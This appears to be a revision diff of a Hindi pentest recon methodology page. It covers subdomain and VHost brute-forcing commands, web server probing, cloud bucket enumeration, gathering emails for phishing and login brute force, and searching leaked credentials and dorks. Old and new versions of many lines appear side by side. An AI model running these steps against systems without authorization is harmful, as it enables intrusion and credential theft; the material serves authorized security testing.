यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
आप यहाँ इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
@ -356,11 +356,11 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
और अच्छे DNS रिसोल्वर्स के आईपी भी। विश्वसनीय DNS रिसोल्वर्स की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं:
* [**massdns**](https://github.com/blechschmidt/massdns): यह पहला उपकरण था जिसने प्रभावी DNS ब्रूट-फोर्स किया। यह बहुत तेज है, हालाँकि यह गलत सकारात्मक के प्रति संवेदनशील है।
* [**massdns**](https://github.com/blechschmidt/massdns): यह पहला उपकरण था जिसने प्रभावी DNS ब्रूट-फोर्स किया। यह बहुत तेज है हालांकि यह गलत सकारात्मक के प्रति संवेदनशील है।
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -378,7 +378,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) असिंक्रोनस रूप से डोमेन नामों को ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है।
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) असिंक्रोनसली डोमेन नामों को ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है।
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
@ -395,7 +395,7 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** दिए गए डोमेन और उपडोमेन के लिए संयोजन उत्पन्न करें। यदि संयोजन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
* [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर संयोजन उत्पन्न करें। यदि संयोजन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
@ -405,7 +405,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): उपडोमेन के संयोजन, उत्परिवर्तन और परिवर्तन करने के लिए एक और उपकरण। यह उपकरण परिणाम को ब्रूट फोर्स करेगा (यह dns वाइल्ड कार्ड का समर्थन नहीं करता)।
* आप dmut संयोजन शब्द सूची [**यहाँ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) प्राप्त कर सकते हैं।
* आप dmut संयोजन शब्दसूची [**यहाँ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) प्राप्त कर सकते हैं।
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
@ -414,7 +414,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### स्मार्ट संयोजन उत्पन्न करना
* [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को प्राप्त करेगा और उन्हें मिलाकर अधिक उपडोमेन खोजने की कोशिश करेगा।
* [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा।
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
@ -434,11 +434,11 @@ echo www | subzuf facebook.com
### **VHosts / वर्चुअल होस्ट**
यदि आपने एक IP पता पाया है जिसमें **एक या कई वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**
यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**
#### OSINT
आप कुछ **VHosts को IPs में** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके** खोज सकते हैं।
आप कुछ **VHosts को IP में** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके** खोज सकते हैं।
**ब्रूट फोर्स**
@ -457,12 +457,12 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
{% hint style="info" %}
इस तकनीक के साथ आप आंतरिक/छिपे हुए एंडपॉइंट्स तक भी पहुँच सकते हैं।
इस तकनीक के साथ, आप आंतरिक/छिपे हुए एंडपॉइंट्स तक भी पहुँच सकते हैं।
{% endhint %}
### **CORS Brute Force**
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटात हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटात हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@ -480,15 +480,15 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
संभावित [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
यदि **subdomain** किसी **S3 bucket** की ओर **pointing** कर रहा है, तो [**permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
यदि आप किसी **subdomain को एक IP के साथ पाते हैं जो पहले से आपके द्वारा खोजे गए IPs से अलग है**, तो आपको एक **बुनियादी vulnerability scan** (Nessus या OpenVAS का उपयोग करके) और कुछ [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमल" करने के लिए** पा सकते हैं।\
_ध्यान दें कि कभी-कभी subdomain एक IP के अंदर होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
यदि आप किसी **subdomain को एक IP अलग** पाते हैं जो पहले से आपके द्वारा खोजे गए संपत्तियों में नहीं है, तो आपको एक **बुनियादी vulnerability scan** (Nessus या OpenVAS का उपयोग करके) और कुछ [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमल" करने के लिए** पा सकते हैं।\
_ध्यान दें कि कभी-कभी subdomain एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
## IPs
प्रारंभिक चरणों में, आपने **कुछ IP रेंज, डोमेन और subdomains** पाए हो सकते हैं।\
अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/subdomains (DNS queries)** के लिए समय है।
प्रारंभिक चरणों में, आपने **कुछ IP रेंज, डोमेन और subdomains** पाए होंगे।\
अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/subdomains (DNS प्रश्नों)** के लिए समय है।
निम्नलिखित **free apis** की सेवाओं का उपयोग करके, आप **डोमेन और subdomains द्वारा उपयोग किए गए पिछले IPs** को भी खोज सकते हैं। ये IPs अभी भी क्लाइंट के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
निम्नलिखित **free apis** की सेवाओं का उपयोग करके, आप **डोमेन और subdomains द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -498,17 +498,17 @@ _ध्यान दें कि कभी-कभी subdomain एक IP के
**CDNs से संबंधित सभी IPs का port scan करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। खोजे गए चल रहे सेवाओं में आप **vulnerabilities** पा सकते हैं।
**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/) **खोजें।**
**एक** [**गाइड**](../pentesting-network/) **खोजें कि कैसे होस्ट को स्कैन करें।**
## Web servers hunting
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हमें दायरे के भीतर IP रेंज, डोमेन और subdomains का पता है। अब वेब सर्वरों की खोज करने का समय है।
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम जानत है कि दायरे के भीतर IP रेंज, डोमेन और subdomains है। अब वेब सर्वरों की खोज करने का समय है।
पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ recon किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही खोज चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर **वेब सर्वरों की खोज के लिए कुछ तेज़ तरकीबें** देखेंगे।
पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ recon किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर **वेब सर्वरों की खोज के लिए कुछ तेज़ तरकीबें** देखेंगे।
कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **vulnerability** और **port scanning** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
**वेब** सर्वरों से संबंधित **खुले ports** की खोज करने के लिए [**masscan** का उपयोग करने का एक तेज़ तरीका यहाँ पाया जा सकता है](../pentesting-network/#http-port-discovery).\
**वेब** सर्वरों से संबंधित **खुले ports** की खोज करने के लिए [**masscan** का उपयोग करने की एक तेज़ विधि यहाँ पाई जा सकती है](../pentesting-network/#http-port-discovery).\
वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@ -520,11 +520,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** का उपयोग कर सकते हैं।**
इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलकर आपको बता सके कि **कौन सी संभावित रूप से संवेदनशील** हो सकती हैं, और कौन सी नहीं।
इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलकर आपको बता सके कि **क्या संभावित रूप से कमजोरियों को शामिल कर सकता है**, और क्या नहीं।
## Public Cloud Assets
## सार्वजनिक क्लाउड संपत्तियाँ
किसी कंपनी क संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`
किसी कंपनी क संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`
आपको **बकेट्स में उपयोग किए जाने वाले सामान्य शब्दों** की वर्डलिस्ट भी चाहिए:
@ -532,17 +532,17 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) देखें)।
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**दूसरे दौर के DNS ब्रूट-फोर्स**](./#second-dns-bruteforce-round) की जांच करें)।
परिणामी वर्डलिस्ट के साथ आप [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।**
याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हं तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**
याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हं तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**
### **Looking for vulnerabilities**
### **कमजोरियों की खोज**
यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** को उजागर करते हैं तो आपको **उन तक पहुँचने** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** खोजते हैं तो आपको **उन तक पहुँचने** और यह देखने की कोशिश करनी चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
## Emails
## ईमेल
दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने में सबसे अच्छे लगे हैं:
@ -551,105 +551,105 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
* [**https://app.snov.io/**](https://app.snov.io/) का API (फ्री संस्करण)
* [**https://minelead.io/**](https://minelead.io/) का API (फ्री संस्करण)
### **Looking for vulnerabilities**
### **कमजोरियों की खोज**
ईमेल बाद में **वेब लॉगिन और ऑथ सेवाओं** (जैसे SSH) के लिए **ब्रूट-फोर्स** करने में सहायक होंगे। इसके अलावा, ये **फिशिंग** के लिए आवश्यक हैं। इसके अलावा, ये APIs आपको ईमेल के पीछे के व्यक्ति के बारे में और भी अधिक **जानकारी** देंगी, जो फिशिंग अभियान के लिए उपयोगी है।
## Credential Leaks
## क्रेडेंशियल लीक
**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित **लीक हुए क्रेडेंशियल्स** की खोज शुरू कर सकते हैं:
**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित अतीत में लीक हुए क्रेडेंशियल्स की खोज शुरू कर सकते हैं:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Looking for vulnerabilities**
### **कमजोरियों की खोज**
यदि आप **मान्य लीक हुए** क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है।
यदि आप **मान्य लीक** हुए क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है।
## Secrets Leaks
## सीक्रेट्स लीक
क्रेडेंशियल लीक उन कंपनियों के हैक से संबंधित हैं जहाँ **संवेदनशील जानकारी लीक और बेची गई**। हालाँकि, कंपनियाँ **अन्य लीक** से प्रभावित हो सकती हैं जिनकी जानकारी उन डेटाबेस में नहीं है:
### Github Leaks
### गिटहब लीक
क्रेडेंशियल्स और APIs **कंपनी** या उस गिटहब कंपनी के लिए काम करने वाले **उपयोगकर्ताओं** के **सार्वजनिक रिपॉजिटरी** में लीक हो सकते हैं।\
आप **टूल** [**Leakos**](https://github.com/carlospolop/Leakos) का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं।
आप **Leakos** नामक **उपकरण** का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं।
**Leakos** का उपयोग सभी **पाठ** प्रदान किए गए **URLs** पर **gitleaks** चलाने के लिए भी किया जा सकता है क्योंकि कभी-कभी **वेब पृष्ठों में भी रहस्य होते हैं**
#### Github Dorks
#### गिटहब डॉर्क्स
आप जिस संगठन पर हमला कर रहे हैं, उसमें संभावित **गिटहब डॉर्क्स** के लिए इस **पृष्ठ** की जांच करें:
आप उस **पृष्ठ** की भी जांच करें जिसमें संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Pastes Leaks
### पेस्ट्स लीक
कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजना बहुत दिलचस्प है।\
आप टूल [**Pastos**](https://github.com/carlospolop/Pastos) का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं।
आप **Pastos** नामक उपकरण का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं।
### Google Dorks
### गूगल डॉर्क्स
पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए** ऐसी **उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। तो, आप अपने पसंदीदा 10 को ले सकते हैं या आप **ऐसे टूल का उपयोग कर सकते हैं** [**Gorks**](https://github.com/carlospolop/Gorks) **उन्हें सभी चलाने के लिए**
पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरी हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। तो, आप अपने पसंदीदा 10 को ले सकते हैं या आप [**Gorks**](https://github.com/carlospolop/Gorks) जैसे **उपकरण का उपयोग कर सकते हैं** **उन्हें सभी चलाने के लिए**
_ध्यान दें कि जो टूल नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_
_ध्यान दें कि जो उपकरण नियमित गूगल ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि गूगल आपको बहुत जल्दी ब्लॉक कर देगा।_
### **Looking for vulnerabilities**
### **कमजोरियों की खोज**
यदि आप **मान्य लीक हुए** क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है।
यदि आप **मान्य लीक** हुए क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है।
## Public Code Vulnerabilities
## सार्वजनिक कोड कमजोरियाँ
यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है, तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं।
**भाषा के आधार पर** आप विभिन्न **उपकरणों** का उपयोग कर सकते हैं:
**भाषा के आधार पर** आपके पास विभिन्न **उपकरण** हो सकते हैं:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
सार्वजनिक रिपॉजिटरी को **स्कैन** करने के लिए भी मुफ्त सेवाएँ हैं, जैसे:
कुछ मुफ्त सेवाएँ भी हैं जो आपको **सार्वजनिक रिपॉजिटरी** को **स्कैन** करने की अनुमति देती हैं, जैसे:
* [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
## [**पेंटेस्टिंग वेब मेथोडोलॉजी**](../../network-services-pentesting/pentesting-web/)
**कमजोरियों** का अधिकांश हिस्सा जो बग हंटर्स द्वारा पाया जाता है, **वेब अनुप्रयोगों** के अंदर होता है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहूंगा, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
**कमजोरियों का अधिकांश भाग** जो बग हंटर्स द्वारा पाया जाता है, वह **वेब एप्लिकेशनों** के अंदर होता है, इसलिए इस बिंदु पर मैं एक **वेब एप्लिकेशन परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
मैं [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील कमजोरियों को खोजने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
## Recapitulation
## पुनरावलोकन
> बधाई हो! इस बिंदु पर आपने पहले ही **सभी बुनियादी गणना** कर ली है। हाँ, यह बुनियादी है क्योंकि और भी बहुत अधिक गणना की जा सकती है (बाद में और तरकीबें देखेंगे)।
> बधाई हो! इस बिंदु पर आपने पहले ही **सभी बुनियादी गणना** कर ली है। हाँ, यह बुनियादी है क्योंकि बहुत अधिक गणना की जा सकती है (बाद में और तरकीबें देखेंगे)।
तो आपने पहले ही:
1. दायरे में सभी **कंपनियों** को पाया
2. कंपनियों से संबंधित सभी **संपत्तियों** को पाया (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया)
3. कंपनियों से संबंधित सभी **डोमेन** को पाया
4. डोमेन के सभी **सबडोमेन** को पाया (क्या कोई सबडोमेन टेकओवर?)
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को पाया।
6. सभी **वेब सर्वर** को पाया और उनका **स्क्रीनशॉट** लिया (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को पाया।
8. **ईमेल**, **क्रेडेंशियल लीक**, और **गुप्त लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं।
9. आपने जो भी वेब खोजी हैं, उनका **पेंटेस्टिंग** किया।
1. दायरे में सभी **कंपनियों** को खोज लिया
2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया)
3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया
4. डोमेन के सभी **सबडोमेन** को खोज लिया (क्या कोई सबडोमेन टेकओवर?)
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया।
6. सभी **वेब सर्वर** को खोज लिया और उनका **स्क्रीनशॉट** लिया (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया।
8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं।
9. आपने जो भी वेब खोजी है, उसका **पेंटेस्टिंग** किया।
## **Full Recon Automatic Tools**
## **पूर्ण पुनः खोज स्वचालित उपकरण**
वहाँ कई उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को निष्पादित करेंगे।
वहाँ कई उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के एक भाग को निष्पादित करेंगे।
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - थोड़ा पुराना और अपडेट नहीं किया गया
## **References**
## **संदर्भ**
* सभी मुफ्त पाठ्यक्रम [**@Jhaddix**](https://twitter.com/Jhaddix) जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* [**@Jhaddix**](https://twitter.com/Jhaddix) के सभी मुफ्त पाठ्यक्रम जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
